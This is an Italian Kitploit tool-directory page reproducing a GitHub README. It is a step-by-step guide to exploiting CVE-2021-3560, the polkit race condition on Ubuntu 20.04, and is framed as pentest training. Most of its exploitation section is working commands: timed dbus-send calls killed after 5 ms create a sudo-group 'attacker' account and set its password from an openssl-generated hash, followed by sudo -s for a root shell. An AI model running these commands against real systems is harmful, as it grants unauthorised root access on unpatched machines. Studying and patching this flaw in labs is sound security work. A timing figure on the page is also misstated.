Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Polkit-CVE-2021-3560 — Guida passo-passo allo sfruttamento di CVE-2021-3560, una vulnerabilità di escalation dei privilegi in polkit, inclusi contesto, analisi della vulnerabilità e comandi di sfruttamento manuale. | Kitploit
Strumenti/GitHubGitHub/assassinukg/polkit-cve-2021-3560
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e Formazione
GitHubassassinukg/polkit-cve-2021-3560

Polkit-CVE-2021-3560

Guida passo-passo allo sfruttamento di CVE-2021-3560, una vulnerabilità di escalation dei privilegi in polkit, inclusi contesto, analisi della vulnerabilità e comandi di sfruttamento manuale.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
2435 anni faRevisionato da Kitploit

Polkit-CVE-2021-3560

Contesto

All'inizio del 2021, un ricercatore di nome Kevin Backhouse ha scoperto una vulnerabilità di escalation dei privilegi vecchia di sette anni (poi designata CVE-2021-3560) nell'utilità polkit di Linux. Fortunatamente, diverse distribuzioni di Linux (e persino diverse versioni della stessa distribuzione) utilizzano versioni diverse del software, il che significa che solo alcune sono vulnerabili.

Nello specifico, le seguenti distribuzioni principali, tra le altre, erano vulnerabili:

Red Hat Enterprise Linux 8 Fedora 21 (o successiva) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") Tutte dovrebbero aver ora rilasciato versioni corrette dei rispettivi pacchetti polkit; tuttavia, se incontri una di queste distribuzioni, potrebbe essere ancora vulnerabile se non è stata aggiornata per un po'.

Per questa stanza ci concentreremo specificamente su Ubuntu 20.04. Canonical ha rilasciato una patch per la sua versione di polkit (policykit-1), che ha numero di versione 0.105-26ubuntu1.1. L'ultima versione vulnerabile disponibile nei repository apt per Focal Fossa è 0.105-26ubuntu1, quindi, se vedi questa, potresti essere fortunato!

Possiamo usare apt list --installed | grep policykit-1 per controllare la versione installata di polkit:

Cos'è Polkit?

La domanda logica da porsi ora è: "Cos'è polkit?"

Polkit fa parte del sistema di autorizzazione di Linux. In pratica, quando provi a eseguire un'azione che richiede un livello di privilegi più alto, il policy toolkit può essere utilizzato per determinare se hai i permessi necessari. È integrato con systemd ed è molto più configurabile del tradizionale sistema sudo. In effetti, viene talvolta chiamato "il sudo di systemd".

Vulnerabilità

  • L'attaccante invia manualmente un messaggio dbus al accounts-daemon richiedendo la creazione di un nuovo account con permessi sudo (o successivamente, l'impostazione di una password per il nuovo utente). A questo messaggio viene assegnato un ID univoco dal dbus-daemon.
  • L'attaccante uccide il messaggio dopo che polkit lo ha ricevuto, ma prima che polkit abbia la possibilità di elaborarlo. Questo distrugge efficacemente l'ID univoco del messaggio.
  • Polkit chiede al dbus-daemon l'ID utente di chi ha inviato il messaggio, facendo riferimento all'ID messaggio (ora cancellato).
  • Il dbus-daemon non riesce a trovare l'ID messaggio perché lo abbiamo ucciso nel secondo passaggio. Gestisce l'errore rispondendo con un codice di errore.
  • Polkit gestisce male l'errore e sostituisce 0 per l'ID utente — cioè l'account root della macchina.
  • Pensando che l'utente root abbia richiesto l'azione, polkit consente la richiesta senza ostacoli.

Sfruttamento

  • Primo messaggio dbus
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

Questo comando invierà manualmente un messaggio dbus al accounts daemon, stampando la risposta e creando un nuovo utente chiamato attacker (string:attacker) con una descrizione di "Pentester Account" (string:"Pentester Account") e l'appartenenza al gruppo sudo impostata su true (riferita dal flag int32:1).

  • Secondo messaggio
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUSER_ID org.freedesktop.Accounts.User.SetPassword string:'PASSWORD_HASH' string:'Ask the pentester'

Questo invia nuovamente un messaggio dbus al accounts daemon, richiedendo un cambio di password per l'utente con un ID che specifichiamo (mostrato in rosso), un hash della password che dobbiamo generare manualmente e un suggerimento ("Ask the pentester").

Poiché si tratta effettivamente di una race condition, dobbiamo prima determinare quanto tempo impiegherà il nostro comando. Proviamo con il primo messaggio dbus: time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1

es.:

root@kitploit:~
real 0m0.11s
user 0m0.002s
sys  0m0000s

Ciò richiede 0,011 secondi, ovvero 11 millisecondi. Questo numero sarà leggermente diverso ogni volta che esegui il comando; tuttavia, sulla macchina fornita dovrebbe essere sempre intorno a questo numero.

Dobbiamo uccidere il comando approssimativamente a metà dell'esecuzione. Di solito cinque millisecondi funzionano abbastanza bene sulla macchina fornita; tieni presente, però, che non è una cosa esatta. Potrebbe essere necessario cambiare il tempo di sleep o eseguire il comando più volte prima che funzioni. Detto questo, una volta trovato un tempo che funziona, dovrebbe funzionare in modo costante. Se hai difficoltà a ottenere un tempo funzionante, inserire il comando in un ciclo bash for e provare rapidamente una gamma di tempi di solito funziona abbastanza bene.

Proviamo. Dobbiamo inviare il messaggio dbus, poi ucciderlo circa a metà:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

Per spiegare il comando sopra, abbiamo inviato il messaggio dbus in un job in background (usando la e commerciale per mettere il comando in background). Poi gli abbiamo detto di dormire per 5 millisecondi (sleep 0.005s), quindi di uccidere il processo precedente ($!). Questo ha creato con successo il nuovo utente, aggiungendolo al gruppo sudo. Dovremmo annotare a questo punto che l'ID utente del nuovo utente in questo caso è 1000.

root@kitploit:~
id attacker

Ora dobbiamo solo dare una password all'utente e dovremmo essere a posto!

Qui abbiamo bisogno di un hash della password, quindi generiamo un hash Sha512Crypt per la nostra password scelta (Expl01ted): openssl passwd -6 Expl01ted

Usando openssl, generiamo una password di tipo 6 (SHA512-crypt) e la nostra password in chiaro (Expl01ted).

Ora finiamo! 5 millisecondi hanno funzionato l'ultima volta, quindi dovrebbero funzionare anche qui:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
root@kitploit:~
sudo attacker
sudo -l
sudo -s

Riferimenti

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about

Scarica lo strumento